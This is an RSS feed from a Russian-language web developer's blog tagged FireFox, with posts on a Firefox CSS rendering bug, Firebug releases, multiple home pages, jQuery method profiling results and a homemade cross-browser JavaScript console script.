<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CTAPbIu_MABP&#039;s BLOG &#187; FireFox</title>
	<atom:link href="http://mabp.kiev.ua/tag/firefox/feed/" rel="self" type="application/rss+xml" />
	<link>http://mabp.kiev.ua</link>
	<description>энтузиазм = 1/опыт © Старый Мавр</description>
	<lastBuildDate>Thu, 26 Jan 2012 10:34:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2</generator>
		<item>
		<title>-moz-box-shadow &amp; -moz-transform</title>
		<link>http://mabp.kiev.ua/2010/08/17/moz-box-shadow-moz-transform/</link>
		<comments>http://mabp.kiev.ua/2010/08/17/moz-box-shadow-moz-transform/#comments</comments>
		<pubDate>Tue, 17 Aug 2010 12:14:38 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=1235</guid>
		<description><![CDATA[Ребята из YUI сделали песочницу для CSS3. А я поковырял и нашел косяки в FF 3.6/7.x. Смотреть в остальных браузерах не имеет смысла. -moz-box-shadow:50px 50px 50px #FF4500; -moz-transform:rotate(90deg); background:none repeat scroll 0 0 #DDDDDD; height:100px; left:200px; padding:10px; position:absolute; top:100px; width:300px; А вот и баг нашелся]]></description>
			<content:encoded><![CDATA[<p>Ребята из YUI сделали <a href="http://css3.mikeplate.com/">песочницу для CSS3</a>. А я поковырял и нашел косяки в FF 3.6/7.x. Смотреть в остальных браузерах не имеет смысла.</p>
<span id="more-1235"></span>
<div style="position: relative;width:600px;height:400px;">
<div style="-moz-box-shadow:50px 50px 50px #FF4500;-moz-transform:rotate(90deg);background:none repeat scroll 0 0 #DDDDDD;height:100px;left:200px;padding:10px;position:absolute;top:100px;width:300px;"></div>
</div>

<pre><code class="css">
-moz-box-shadow:50px 50px 50px #FF4500;
-moz-transform:rotate(90deg);

background:none repeat scroll 0 0 #DDDDDD;
height:100px;
left:200px;
padding:10px;
position:absolute;
top:100px;
width:300px;
</code></pre>

<p>А вот и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=536061">баг</a> нашелся</p>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2010/08/17/moz-box-shadow-moz-transform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firebug 1.5</title>
		<link>http://mabp.kiev.ua/2010/01/16/firebug-1-5/</link>
		<comments>http://mabp.kiev.ua/2010/01/16/firebug-1-5/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 20:01:55 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Разное]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[FireFox]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=1184</guid>
		<description><![CDATA[Свежие сводки с фронтов! Только что вышел Firebug 1.5!!! Качаем!]]></description>
			<content:encoded><![CDATA[<p>Свежие сводки с фронтов! Только что вышел Firebug 1.5!!! <a href="http://getfirebug.com/releases/firebug/1.5X/" rel="nofollow external">Качаем!</a></p>
<span id="more-1184"></span>
<br /><br />
<div style="text-align:center"><img src="/content/img/firebug.jpg" alt="Firebug"/></div>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2010/01/16/firebug-1-5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>FireFox домашняя страница</title>
		<link>http://mabp.kiev.ua/2009/11/21/firefox-home-page/</link>
		<comments>http://mabp.kiev.ua/2009/11/21/firefox-home-page/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 09:24:19 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[FireFox]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=1135</guid>
		<description><![CDATA[А вы знали что в FireFox можно задать не одну а несколько стартовых страниц (вкладок)? Для этого достаточно написать их через &#124; палку Для тех кто не в курсе Инструменты->Настойки->Основные в поле "домашняя страница" написать http://google.ru/&#124;http://mabp.kiev.ua/&#124;http://pyha.ru/forum/unread]]></description>
			<content:encoded><![CDATA[<p>А вы знали что в <a href="http://mabp.kiev.ua/tag/firefox/">FireFox</a> можно задать не одну а несколько стартовых страниц (вкладок)? Для этого достаточно написать их через <strong>|</strong> палку</p>
<span id="more-1135"></span>
<div style="text-align:center"><img src="/content/img/FireFox.png" alt="Firefox"/></div>
<p>Для тех кто не в курсе Инструменты->Настойки->Основные в поле "домашняя страница" написать</p>
<pre><code class="none">

http://google.ru/|http://mabp.kiev.ua/|http://pyha.ru/forum/unread

</code></pre>

]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2009/11/21/firefox-home-page/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>jQuery profiling</title>
		<link>http://mabp.kiev.ua/2009/03/29/jquery-profiling/</link>
		<comments>http://mabp.kiev.ua/2009/03/29/jquery-profiling/#comments</comments>
		<pubDate>Sun, 29 Mar 2009 17:34:47 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[perfomance]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=966</guid>
		<description><![CDATA[С тех пор как как я написал про то как ускорить селекторы в jQuery меня все беспокоит скорость работы разных частей библиотеки. 21 февраля я проводил тестирование производительности селекторов, а 23 примерно таким же профайлингом занимался John в статье JavaScript Function Call Profiling. Я тогда еще подумал что все что я сделал можно выкинуть, потому [...]]]></description>
			<content:encoded><![CDATA[<p>С тех пор как как я написал про то как <a href="http://mabp.kiev.ua/2009/02/07/speed-up-jquery-selectors/">ускорить селекторы в jQuery</a> меня все беспокоит скорость работы разных частей библиотеки. 21 февраля я проводил <a href="http://mabp.kiev.ua/2009/02/21/jquery-selectors-benchmark/">тестирование производительности селекторов</a>, а 23 примерно таким же профайлингом занимался John в статье <a href="http://ejohn.org/blog/function-call-profiling/" rel="nofollow external">JavaScript Function Call Profiling</a>. Я тогда еще подумал что все что я сделал можно выкинуть, потому что он написал лучше и подробнее.</p>

<span id="more-966"></span>

<link rel="stylesheet" type="text/css" media="screen" href="/content/css/jquery-profiling.css"/>

<p>Но он затронул далеко не все методы, а только основные. Именно этим я сейчас и собираюсь заняться, я собираюсь пройтись по всей документации выписать методы и посмотреть какие методы и сколько времени работают. В общем работа не сложная но нудная. Скрипт замеров уже есть плюс <a href="http://fireunit.org/" rel="nofollow external">FireUnit</a> мне поможет. Записывать буду имя тестируемого метода, количество вызовов внутри него, соотношение количества внутренних вызовов к количеству выбранных элементов (O), среднее время. Если O меньше 2n, то оно не записывается и считается примерно равным одному n , а n == 40, потому что в примере участвует 40 дивов. Для примера была взята страницы выдачи результатов Google и чуть-чуть подправлена. Да и еще есть такие методы которые работаю только с первым элементом коллекции, в основном получают значение его параметров, для них вноситься отдельная правка.</p>

<p>Пример отрабатывает долго поэтому я вынес его в отдельный файл, смотрите чтоб не подвесил ваш браузер. Хотел сделать еще сравнение по версиям типа 1.3.2 vs 1.2.6 но последний даже не смог полностью отработать - виснет, поэтому предлагаю тем кому действительно интересно сохранить страницу поправить версию и запустить локально, закомментировав половину кода. И там еще какие-то глюки с replaceAll, вроде как из-за него виснет. Но могу сказать заранее, что хоть в более новой версии показатель О выше (больше вызовов функций на каждый элемент), но работает она в среднем быстрее.</p>

<p>И последние перед тем как я дам ссылку на пример его нужно смотреть в <a href="http://www.mozilla.com/en-US/" rel="nofollow external">FireFox</a> c установленным <a href="http://getfirebug.com/" rel="nofollow external">FireBug</a> и <a href="http://fireunit.org/" rel="nofollow external">FireUnit</a>. А вот и <a href="http://mabp.kiev.ua/content/source/jquery_test.html" rel="nofollow external">ссылка на пример</a>.</p>

<p>Для тех кто по каким-то религиозным причинам не хочет ставить себе всё это публикую результат теста проведенного на моей машине.</p>

<table class="myTbl">
<tbody><tr>
<td colspan="4"><h2>Attributes/Attr</h2></td>
</tr><tr>
<td>divs.attr("align");</td>
<td>6</td>
<td>O(6n)</td>
<td>0.075</td>
</tr><tr>
<td>divs.attr({align: "center"});</td>
<td>284</td>
<td>O(7n)</td>
<td>2.381</td>
</tr><tr>
<td>divs.attr("align", "center");</td>
<td>284</td>
<td>O(7n)</td>
<td>2.627</td>
</tr><tr>
<td>divs.attr("align", function () {});</td>
<td>324</td>
<td>O(8n)</td>
<td>2.089</td>
</tr><tr>
<td>divs.removeAttr("align");</td>
<td>204</td>
<td>O(5n)</td>
<td>2.29</td>
</tr><tr>
<td colspan="4"><h2>Attributes/Class</h2></td>
</tr><tr>
<td>divs.addClass("test");</td>
<td>223</td>
<td>O(6n)</td>
<td>1.706</td>
</tr><tr>
<td>divs.addClass("test");</td>
<td>244</td>
<td>O(6n)</td>
<td>1.255</td>
</tr><tr>
<td>divs.hasClass("test");</td>
<td>11</td>
<td/><td>0.286</td>
</tr><tr>
<td>divs.removeClass("test");</td>
<td>304</td>
<td>O(8n)</td>
<td>2.188</td>
</tr><tr>
<td>divs.removeClass("test");</td>
<td>247</td>
<td>O(6n)</td>
<td>1.795</td>
</tr><tr>
<td>divs.toggleClass("test");</td>
<td>303</td>
<td>O(8n)</td>
<td>2.271</td>
</tr><tr>
<td>divs.toggleClass("test");</td>
<td>384</td>
<td>O(10n)</td>
<td>2.739</td>
</tr><tr>
<td>divs.toggleClass("test", true);</td>
<td>223</td>
<td>O(6n)</td>
<td>1.792</td>
</tr><tr>
<td>divs.toggleClass("test", true);</td>
<td>244</td>
<td>O(6n)</td>
<td>1.277</td>
</tr><tr>
<td>divs.toggleClass("test", false);</td>
<td>247</td>
<td>O(6n)</td>
<td>1.81</td>
</tr><tr>
<td>divs.toggleClass("test", false);</td>
<td>304</td>
<td>O(8n)</td>
<td>2.26</td>
</tr><tr>
<td colspan="4"><h2>Attributes/HTML</h2></td>
</tr><tr>
<td>divs.html();</td>
<td>2</td>
<td>O(2n)</td>
<td>2.221</td>
</tr><tr>
<td>divs.html("&lt;p&gt;test&lt;/p&gt;");</td>
<td>9907</td>
<td>O(6n+n<sup>2</sup>)</td>
<td>71.238</td>
</tr><tr>
<td colspan="4"><h2>Attributes/Text</h2></td>
</tr><tr>
<td>divs.text();</td>
<td>6500</td>
<td>O(4n+n<sup>2</sup>)</td>
<td>35.785</td>
</tr><tr>
<td>divs.text("test");</td>
<td>9902</td>
<td>O(6n+n<sup>2</sup>)</td>
<td>71.749</td>
</tr><tr>
<td colspan="4"><h2>Attributes/Value</h2></td>
</tr><tr>
<td>divs.val();</td>
<td>4</td>
<td>O(4n)</td>
<td>0.04</td>
</tr><tr>
<td>divs.val("myValue");</td>
<td>124</td>
<td>O(3n)</td>
<td>1.046</td>
</tr><tr>
<td>divs.val(["myValue"]);</td>
<td>124</td>
<td>O(3n)</td>
<td>1.082</td>
</tr><tr>
<td colspan="4"><h2>Traversing/Filtering</h2></td>
</tr><tr>
<td>divs.eq(0);</td>
<td>9</td>
<td/><td>0.05</td>
</tr><tr>
<td>divs.hasClass("test");</td>
<td>11</td>
<td/><td>0.25</td>
</tr><tr>
<td>divs.filter("div");</td>
<td>100</td>
<td>O(3n)</td>
<td>0.606</td>
</tr><tr>
<td>divs.filter(function () {});</td>
<td>90</td>
<td>O(2n)</td>
<td>0.248</td>
</tr><tr>
<td>divs.is("div");</td>
<td>52</td>
<td/><td>0.345</td>
</tr><tr>
<td>divs.is(".test");</td>
<td>10</td>
<td/><td>0.228</td>
</tr><tr>
<td>divs.map(function () {});</td>
<td>89</td>
<td>O(2n)</td>
<td>0.24</td>
</tr><tr>
<td>divs.not("div");</td>
<td>104</td>
<td>O(3n)</td>
<td>0.651</td>
</tr><tr>
<td>divs.not(".test");</td>
<td>20</td>
<td/><td>0.329</td>
</tr><tr>
<td>divs.slice(0, 1);</td>
<td>8</td>
<td/><td>0.048</td>
</tr><tr>
<td colspan="4"><h2>Traversing/Finding</h2></td>
</tr><tr>
<td>divs.add("span");</td>
<td>106</td>
<td>O(3n)</td>
<td>1.369</td>
</tr><tr>
<td>divs.children("span");</td>
<td>216</td>
<td>O(5n)</td>
<td>3.238</td>
</tr><tr>
<td>divs.closest("div");</td>
<td>690</td>
<td>O(17n)</td>
<td>5.565</td>
</tr><tr>
<td>divs.closest("span");</td>
<td>4612</td>
<td>O(3n+n<sup>2</sup>)</td>
<td>38.784</td>
</tr><tr>
<td>divs.contents();</td>
<td>316</td>
<td>O(8n)</td>
<td>3.952</td>
</tr><tr>
<td>divs.find("span");</td>
<td>462</td>
<td>O(12n)</td>
<td>5.147</td>
</tr><tr>
<td>divs.next("span");</td>
<td>121</td>
<td>O(3n)</td>
<td>1.145</td>
</tr><tr>
<td>divs.nextAll("span");</td>
<td>161</td>
<td>O(4n)</td>
<td>1.761</td>
</tr><tr>
<td>divs.offsetParent("span");</td>
<td>4</td>
<td>O(4n)</td>
<td>0.311</td>
</tr><tr>
<td>divs.parent("span");</td>
<td>100</td>
<td>O(3n)</td>
<td>0.746</td>
</tr><tr>
<td>divs.parents("span");</td>
<td>383</td>
<td>O(10n)</td>
<td>3.348</td>
</tr><tr>
<td>divs.prev("span");</td>
<td>136</td>
<td>O(3n)</td>
<td>1.445</td>
</tr><tr>
<td>divs.prevAll("span");</td>
<td>190</td>
<td>O(5n)</td>
<td>2.478</td>
</tr><tr>
<td>divs.siblings("span");</td>
<td>251</td>
<td>O(6n)</td>
<td>3.403</td>
</tr><tr>
<td colspan="4"><h2>Traversing/Changing</h2></td>
</tr><tr>
<td>divs.andSelf();</td>
<td>55</td>
<td/><td>0.425</td>
</tr><tr>
<td>divs.end();</td>
<td>2</td>
<td/><td>0.006</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Changing Contents</h2></td>
</tr><tr>
<td>divs.html();</td>
<td>2</td>
<td>O(2n)</td>
<td>2.196</td>
</tr><tr>
<td>divs.html("&lt;p&gt;test&lt;/p&gt;");</td>
<td>9907</td>
<td>O(6n+n<sup>2</sup>)</td>
<td>72.032</td>
</tr><tr>
<td>divs.text();</td>
<td>6500</td>
<td>O(4n+n<sup>2</sup>)</td>
<td>36.241</td>
</tr><tr>
<td>divs.text("test");</td>
<td>9902</td>
<td>O(6n+n<sup>2</sup>)</td>
<td>71.661</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Inserting Inside</h2></td>
</tr><tr>
<td>divs.append("&lt;p&gt;test&lt;/p&gt;");</td>
<td>133</td>
<td>O(3n)</td>
<td>1.675</td>
</tr><tr>
<td>divs.appendTo("#form");</td>
<td>176</td>
<td>O(4n)</td>
<td>3.429</td>
</tr><tr>
<td>divs.appendTo("form");</td>
<td>191</td>
<td>O(5n)</td>
<td>3.506</td>
</tr><tr>
<td>divs.appendTo(".form");</td>
<td>192</td>
<td>O(5n)</td>
<td>3.534</td>
</tr><tr>
<td>divs.appendTo("&lt;form/&gt;");</td>
<td>184</td>
<td>O(5n)</td>
<td>3.149</td>
</tr><tr>
<td>divs.prepend("&lt;p&gt;test&lt;/p&gt;");</td>
<td>133</td>
<td>O(3n)</td>
<td>2.155</td>
</tr><tr>
<td>divs.prependTo("form");</td>
<td>191</td>
<td>O(5n)</td>
<td>3.509</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Inserting Outside</h2></td>
</tr><tr>
<td>divs.after("form");</td>
<td>91</td>
<td>O(2n)</td>
<td>1.903</td>
</tr><tr>
<td>divs.after("&lt;form/&gt;");</td>
<td>94</td>
<td>O(2n)</td>
<td>2.078</td>
</tr><tr>
<td>divs.before("form");</td>
<td>91</td>
<td>O(2n)</td>
<td>1.457</td>
</tr><tr>
<td>divs.before("&lt;form/&gt;");</td>
<td>94</td>
<td>O(2n)</td>
<td>1.611</td>
</tr><tr>
<td>divs.insertAfter("form");</td>
<td>190</td>
<td>O(5n)</td>
<td>3.553</td>
</tr><tr>
<td>divs.insertBefore("form");</td>
<td>190</td>
<td>O(5n)</td>
<td>3.528</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Inserting Around</h2></td>
</tr><tr>
<td>divs.wrap("&lt;span/&gt;");</td>
<td>2644</td>
<td>O(2n+n<sup>2</sup>)</td>
<td>22.655</td>
</tr><tr>
<td>divs.wrap(document.createElement("span"));</td>
<td>2524</td>
<td>O(2n+n<sup>2</sup>)</td>
<td>20.983</td>
</tr><tr>
<td>divs.wrapAll("&lt;span/&gt;");</td>
<td>181</td>
<td>O(5n)</td>
<td>7.886</td>
</tr><tr>
<td>divs.wrapAll(document.createElement("span"));</td>
<td>178</td>
<td>O(4n)</td>
<td>7.85</td>
</tr><tr>
<td>divs.wrapInner("&lt;span/&gt;");</td>
<td>3245</td>
<td>O(2n+n<sup>2</sup>)</td>
<td>31.313</td>
</tr><tr>
<td>divs.wrapInner(document.createElement("span"));</td>
<td>3140</td>
<td>O(2n+n<sup>2</sup>)</td>
<td>29.689</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Replacing</h2></td>
</tr><tr>
<td>divs.replaceWith("&lt;span/&gt;");</td>
<td>7636</td>
<td>O(5n+n<sup>2</sup>)</td>
<td>60.003</td>
</tr><tr>
<td>divs.replaceAll("span");</td>
<td>35</td>
<td/><td>1.854</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Removing</h2></td>
</tr><tr>
<td>divs.empty();</td>
<td>9774</td>
<td>O(6n+n<sup>2</sup>)</td>
<td>72.261</td>
</tr><tr>
<td>divs.remove();</td>
<td>6982</td>
<td>O(4n+n<sup>2</sup>)</td>
<td>55.583</td>
</tr><tr>
<td colspan="4"><h2>Manipulation/Copying</h2></td>
</tr><tr>
<td>divs.clone();</td>
<td>90</td>
<td>O(2n)</td>
<td>3.304</td>
</tr><tr>
<td>divs.clone(true);</td>
<td>5309</td>
<td>O(3n+n<sup>2</sup>)</td>
<td>52.121</td>
</tr><tr>
<td colspan="4"><h2>CSS/CSS</h2></td>
</tr><tr>
<td>divs.css("color");</td>
<td>4</td>
<td>O(4n)</td>
<td>0.136</td>
</tr><tr>
<td>divs.css("color", "red");</td>
<td>205</td>
<td>O(5n)</td>
<td>2.119</td>
</tr><tr>
<td>divs.css({color: "red", border: "1px solid red"});</td>
<td>365</td>
<td>O(9n)</td>
<td>4.112</td>
</tr><tr>
<td colspan="4"><h2>CSS/Positioning</h2></td>
</tr><tr>
<td>divs.offset();</td>
<td>2</td>
<td>O(2n)</td>
<td>0.337</td>
</tr><tr>
<td>divs.position();</td>
<td>14</td>
<td/><td>0.51</td>
</tr><tr>
<td>divs.scrollTop();</td>
<td>2</td>
<td>O(2n)</td>
<td>0.112</td>
</tr><tr>
<td>divs.scrollTop(10);</td>
<td>44</td>
<td/><td>0.475</td>
</tr><tr>
<td>divs.scrollLeft();</td>
<td>2</td>
<td>O(2n)</td>
<td>0.112</td>
</tr><tr>
<td>divs.scrollLeft(10);</td>
<td>44</td>
<td/><td>0.468</td>
</tr><tr>
<td colspan="4"><h2>CSS/Height and Width</h2></td>
</tr><tr>
<td>divs.height();</td>
<td>12</td>
<td>O(12n)</td>
<td>24.01</td>
</tr><tr>
<td>divs.height(10);</td>
<td>206</td>
<td>O(5n)</td>
<td>2.271</td>
</tr><tr>
<td>divs.width();</td>
<td>12</td>
<td>O(12n)</td>
<td>10.789</td>
</tr><tr>
<td>divs.width(10);</td>
<td>206</td>
<td>O(5n)</td>
<td>2.189</td>
</tr><tr>
<td>divs.innerHeight();</td>
<td>10</td>
<td>O(10n)</td>
<td>10.782</td>
</tr><tr>
<td>divs.innerWidth();</td>
<td>10</td>
<td>O(10n)</td>
<td>10.533</td>
</tr><tr>
<td>divs.outerHeight();</td>
<td>5</td>
<td>O(5n)</td>
<td>10.195</td>
</tr><tr>
<td>divs.outerHeight(true);</td>
<td>10</td>
<td>O(10n)</td>
<td>10.483</td>
</tr><tr>
<td>divs.outerWidth();</td>
<td>5</td>
<td>O(5n)</td>
<td>10.216</td>
</tr><tr>
<td>divs.outerWidth(true);</td>
<td>10</td>
<td>O(10n)</td>
<td>10.342</td>
</tr><tr>
<td colspan="4"><h2>Effects/Basics</h2></td>
</tr><tr>
<td>divs.show();</td>
<td>162</td>
<td>O(4n)</td>
<td>8.007</td>
</tr><tr>
<td>divs.show();</td>
<td>253</td>
<td>O(6n)</td>
<td>2.991</td>
</tr><tr>
<td>divs.hide();</td>
<td>162</td>
<td>O(4n)</td>
<td>4.168</td>
</tr><tr>
<td>divs.hide();</td>
<td>42</td>
<td/><td>0.393</td>
</tr><tr>
<td>divs.toggle();</td>
<td>845</td>
<td>O(21n)</td>
<td>23.782</td>
</tr><tr>
<td>divs.toggle(true);</td>
<td>325</td>
<td>O(8n)</td>
<td>10.757</td>
</tr><tr>
<td>divs.toggle(false);</td>
<td>325</td>
<td>O(8n)</td>
<td>5.31</td>
</tr><tr>
<td colspan="4"><h2>Effects/Sliding</h2></td>
</tr><tr>
<td>divs.slideUp();</td>
<td>1328</td>
<td>O(33n)</td>
<td>8.703</td>
</tr><tr>
<td>divs.slideUp();</td>
<td>3679</td>
<td>O(2n+n<sup>2</sup>)</td>
<td>101.01</td>
</tr><tr>
<td>divs.slideDown();</td>
<td>2280</td>
<td>O(n<sup>2</sup>)</td>
<td>62.462</td>
</tr><tr>
<td>divs.slideDown();</td>
<td>2200</td>
<td>O(n<sup>2</sup>)</td>
<td>61.412</td>
</tr><tr>
<td>divs.slideToggle();</td>
<td>4927</td>
<td>O(3n+n<sup>2</sup>)</td>
<td>156.157</td>
</tr><tr>
<td colspan="4"><h2>Effects/Fading</h2></td>
</tr><tr>
<td>divs.fadeIn();</td>
<td>1448</td>
<td>O(36n)</td>
<td>22.658</td>
</tr><tr>
<td>divs.fadeIn();</td>
<td>1368</td>
<td>O(34n)</td>
<td>21.313</td>
</tr><tr>
<td>divs.fadeOut();</td>
<td>1328</td>
<td>O(33n)</td>
<td>9.04</td>
</tr><tr>
<td>divs.fadeOut();</td>
<td>1288</td>
<td>O(32n)</td>
<td>15.798</td>
</tr><tr>
<td>divs.fadeTo(0, 0.5);</td>
<td>1968</td>
<td>O(n<sup>2</sup>)</td>
<td>17.539</td>
</tr>
</tbody>
</table>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2009/03/29/jquery-profiling/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Firebug 1.3</title>
		<link>http://mabp.kiev.ua/2009/01/08/firebug-1-3/</link>
		<comments>http://mabp.kiev.ua/2009/01/08/firebug-1-3/#comments</comments>
		<pubDate>Thu, 08 Jan 2009 21:02:41 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Разное]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[FireFox]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=421</guid>
		<description><![CDATA[Сегодня обновился FireBug до версии 1.3! Полный список изменений тут. Хотя это и ожидаймая стабильная версия для FireFox3.0.x, но уже не за горами FireFox3.1 с которой надо будет использовать новую сырую версию FireBug1.4alpha.]]></description>
			<content:encoded><![CDATA[<p>Сегодня обновился FireBug до версии 1.3! Полный список изменений <a href="http://code.google.com/p/fbug/source/browse/branches/firebug1.3/docs/ReleaseNotes_1.3.txt" rel="nofolow">тут</a>. Хотя это и ожидаймая стабильная версия для FireFox3.0.x, но уже не за горами FireFox3.1 с которой надо будет использовать новую сырую версию FireBug1.4alpha.</p>
<br /><br />
<div style="text-align:center"><img src="/content/img/firebug.jpg" alt="Firebug"/></div>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2009/01/08/firebug-1-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Console2</title>
		<link>http://mabp.kiev.ua/2009/01/05/console2/</link>
		<comments>http://mabp.kiev.ua/2009/01/05/console2/#comments</comments>
		<pubDate>Mon, 05 Jan 2009 17:54:46 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://mabp.kiev.ua/?p=401</guid>
		<description><![CDATA[Все меньше и меньше остается времени у шестого IE, все больше и больше сайтов объявляют, что они перестают поддерживать дизайн и скрипты для него. Напомню что шестой IE был выпущен в 1999 году то есть 10 лет назад, а до сих пор "популярен". Уже даже сам мелкософт заявил о том что будет распространять седьмой IE [...]]]></description>
			<content:encoded><![CDATA[<p>Все меньше и меньше остается времени у шестого IE, все больше и больше сайтов объявляют, что они перестают поддерживать дизайн и скрипты для него. Напомню что шестой IE был выпущен в 1999 году то есть 10 лет назад, а до сих пор "популярен". Уже даже сам мелкософт заявил о том что будет распространять седьмой IE как стандартное обновление. Но эта тема все еще может быть актуально потому что даже в седьмом IE нет консоли, и потому что в Opera и у Safari она находиться в зачаточном состоянии по сравнению с firebug'ом. Так вот я и решил то пока еще не поздно написать вторую версию консоли. Заодно углубил свои знания и отточил практику. Теперь она работает еще быстрее и надежнее, хотя все еще не лишена кое каких глюков, например типа-массив arguments так и не покорился. И еще я не хочу чтоб вы думали что дальше я начну накладывать какие-то визуальные эффекты типа плавающих дивов вместо аллертов, я не хочу создавать второй furebug lite.</p>
<span id="more-401"></span>
<p>Итак собственно код, его стало немного больше но на много повысилась производительность. Возможно стоило собрать все методы в объект и наверное я это сделаю но не сейчас, сейчас ее надо потестить в реальных условиях.</p>

<pre><code class="html">
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
&lt;script&gt;
var cast = function(i) {
	// call lazy function definition
	return  (cast = !document.fileSize  // IE any version
		? function(i){return Array.prototype.slice.call(i);}
		: function(i){var l=i.length,a=[];while(l--){a[l]=i[l];}return a;}
	)(i);
},

show = function(m) {
	return (show=window.opera?window.opera.postError:window.alert)(m);
},

dump = function (x, max, sep, l) {
	l = l || 0, max = max || 3, sep = sep || "\t";
	if (l &gt; max) return "[WARNING: Too much recursion]\n";
	var i, r = '', t = typeof x, tab = '';

	if (x === null) {
		r += "(null)\n";
	} else if (t == "object") {
		for (i=0,l++;i&lt;l;i++) {tab += sep;}
		if (x &#038;& (x.length || x.length==0)) {t = 'array';}
		r += "(" + t + ") :\n";
		for (i in x)
			try { r += tab + "[" + i + "] : " + dump(x[i], max, sep, l+1);} catch(e) { return "[ERROR: " + e + "]\n"; }
	} else {
		if (t=="string"&#038;&x=="") 
			x = '(empty)';
		r += "(" + t + ") " + x + "\n";
	}
	return r;

},

myConsole = function(){
	var args = cast(arguments);
	
	if (args.length&gt;2){
		show(args.shift() +":\n"+ args.shift().replace(/(%[ds])/g, function(){
			return args.shift();
			})
		)
	}else{
		show(args.shift() +":\n"+ dump(args.shift()));
	}
};

if (window.loadFirebugConsole) { // since FireBug 1.2
	window.loadFirebugConsole();
} else if (!window.console) {
	window.console = {};
	var names = ["log", "debug", "info", "warn", "error"];
	for (var i in names){
		window.console[names[i]] = (function(name){return function(){
			myConsole.apply(null,[name].concat(cast(arguments)))
		}})(names[i]);
	}
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>И собственно мои тест-кейсы:</p>

<pre><code class="javascript">
window.onload = function(){
	console.log("string: %d %s %d", 10, "text", 10);
	console.info({});
	console.info([]);
	console.info(null);
	console.info(window);
	console.info(document);
	console.info(document.getElementsByTagName("body"));
	console.info(document.getElementsByTagName("body")[0]);
	console.info(Math);
	(function(z){try {x.y = z;}catch(e){console.info(e);}})(null);
	//(function(x,y,z){console.info(arguments)})(1,2,3); // fail

}
</code></pre>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2009/01/05/console2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Консоль для всех браузеров</title>
		<link>http://mabp.kiev.ua/2008/12/25/myconsole/</link>
		<comments>http://mabp.kiev.ua/2008/12/25/myconsole/#comments</comments>
		<pubDate>Thu, 25 Dec 2008 19:43:55 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Safari]]></category>

